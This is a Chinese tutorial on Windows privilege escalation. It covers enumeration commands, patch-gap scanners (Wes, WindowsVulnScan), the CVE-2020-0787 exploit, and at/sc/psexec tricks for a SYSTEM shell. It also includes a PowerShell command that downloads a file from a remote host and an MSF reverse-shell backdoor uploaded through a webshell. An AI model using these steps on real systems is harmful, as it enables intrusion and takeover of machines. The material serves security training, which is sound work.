明确权限提升基础知识:权限划分
明确权限提升环境问题:web及本地
明确权限提升方法针对:针对方法适应问题
明确权限提升针对版本:个人及服务器版本,针对方法
知识点必备:
用户及用户组权限划分;Windows 提权命令
系统命令
命令 | 描述 |
---|---|
systeminfo | 打印系统信息 |
whoami | 获得当前用户名 |
whoami /priv | 当前账户权限 |
ipconfig | 网络配置信息 |
ipconfig /displaydns | 显示DNS缓存 |
route print | 打印出路由表 |
arp -a | 打印arp表 |
hostname | 主机名 |
net user | 列出用户 |
net user UserName | 关于用户的信息 |
net use \SMBPATH Pa$$w0rd /u:UserName | 连接SMB |
net localgroup | 列出所有组 |
net localgroup GROUP | 关于指定组的信息 |
net view \127.0.0.1 | 会话打开到当前计算机 |
net session | 开放给其他机器 |
netsh firewall show config | 显示防火墙配置 |
DRIVERQUERY | 列出安装的驱动 |
tasklist /svc | 列出启动的服务 |
dir /s foo | 在目录中搜索指定字符的项目 |
dir /s too==bar | 同上 |
net start | 列出启动的服务 |
sc query | 列出所有服务 |
sc qc ServiceName | 找到指定服务的路径 |
shutdown /r /t 0 | 立即重启 |
type file.txt | 打印出内容 |
icacls “C\Example” | 列出权限 |
wmic qfe get Caption,Description,HotFixID,InstalledOn | 列出已安装的补丁 |
(New-Object System.Net.WebClient).DownloadFile(“https://host/file”,“C:\LocalPath”) | 利用ps远程下载文件到本地 |
accesschk.exe -qwsu “Group” | 修改对象(尝试Everyone,Authenticated Users和/或users) |
案例给到的知识点总结如下:
案例 1:如何判断使用哪种溢出漏洞?漏洞那里找?
信息收集-补丁筛选-利用 MSF 或特定 EXP-执行-西瓜到手
Vulmap,Wes,WindowsVulnScan 对比,exp 在那里获取
案例 2:如何判断使用哪种数据库提权?数据库提权利用条件?
MSF 结合云服务器搭建组合组合拳?模拟上述操作实战演练?
搭建:https://www.cnblogs.com/M0rta1s/p/11920903.html
案例 3:如何判断本地环境可利用漏洞情况?AT&SC&PS 命令适用环境?
Vulmap,Wes,WindowsVulnScan 针对漏洞面,其他方法不同层面?
CVE-2020-0787 BitsArbitraryFileMoveExploit
at 15:13 /interactive cmd.exe
sc Create syscmd binPath= "cmd /K start" type= own type= interact
sc start syscmd
psexec.exe -accepteula -s -i -d notepad.exe
得到一部分权限后,执行系统命令systeminfo,获取对方的系统信息。
再通过上面的工具对获取的目标的系统信息进行检测,查看有没有其他漏洞可以利用提权
一、Wes的使用
将目标systeminfo信息保存下来,用python环境执行Wes
-o: 将Wes结果保存下来
二、WindowsVulnScan的使用
WindowsVulnScan此工具需要运行powershell脚本,这样的话就基本不满足web环境下使用,因为总不能使用对方的powershell吧(下面方法可解决)。
使用:
WindowsVulnScan需要将目录中的KBCollect.ps1文件放到powershell中运行,生成一个KB.json文件,然后通过参数运行这个文件
运行时,如果有错误提示,则更改KB.json文件的编码格式为utf-8
因为通过powershell生成的KB.json文件的内容基本与系统命令systeminfo查询出来的内容一致,只是格式不同。
所以,可先在本地将KBCollect.ps1文件放到powershell中运行生成一个KB.json文件,再通过用systeminfo命令查询出对方的系统信息,将数据进行更换即可。
KB.json格式如下:
运行结果
三、 案例web环境下的权限提升
获取网站的webshell权限后
通过msf,填入本机ip和端口生成一个后门文件(当木马执行后,会把数据返回到这个ip对应的端口上)
msf设置并监听对应的端口
通过webshell将生成的exe文件放到对方的服务器上,并运行
反弹监听会话后,通过getuid查看当前权限(web权限)
background命令返回,搜素对应exp去执行(这里的exp是通过上面Wes与WindowsVulnScan两个脚本获取的,自行查阅并筛选尝试即可)
当前session会话为3
筛选完后,载入对应的exp
show options查看需要设置的参数,设置session为刚才的会话,设置后这个漏洞exp就会载入到刚才的会话中
设置payload
设置ip和端口,之前5577端口反弹的为web权限,这里设置的端口用来接收的会话为提权后的权限
执行后,通过getuid查看当前权限,为system
四、案例本地环境下权限提升-系统溢出漏洞
不是在webshell上面的提权,例如有对方服务器的普通用户或者会话
运行BitsArbitraryFileMoveExploit.exe文件
运行后,弹窗再查看当前权限为system
五、案例本地环境下权限提升-AT&SC&PS命令
AT
windows中的命令,给windows设置一个任务
只针对win7之前的操作系统
当21:26时弹出一个cmd窗口
弹出窗口后,权限变为system(因为这个弹窗的操作是系统去执行的,所以处就变成了system权限)
sc
创建一个名叫syscmd的服务,syscmd服务内容为启动cmd窗口
通过sc start syscmd命令来执行刚才创建的syscmd服务,成功弹出cmd窗口,权限为system
ps
需要下载windows的PsTools工具库
其中有psexc.exe文件
通过psexc.exe来执行命令,打开cmd窗口
打开后的cmd具有system权限
六、案例给到的思路点总结如下:
1.提权方法有部分适用在不同环境,当然也有通用方法
2.提权方法也有操作系统版本区分,特性决定方法利用面
3.提权方法有部分需要特定环境,如数据库,第三方提权等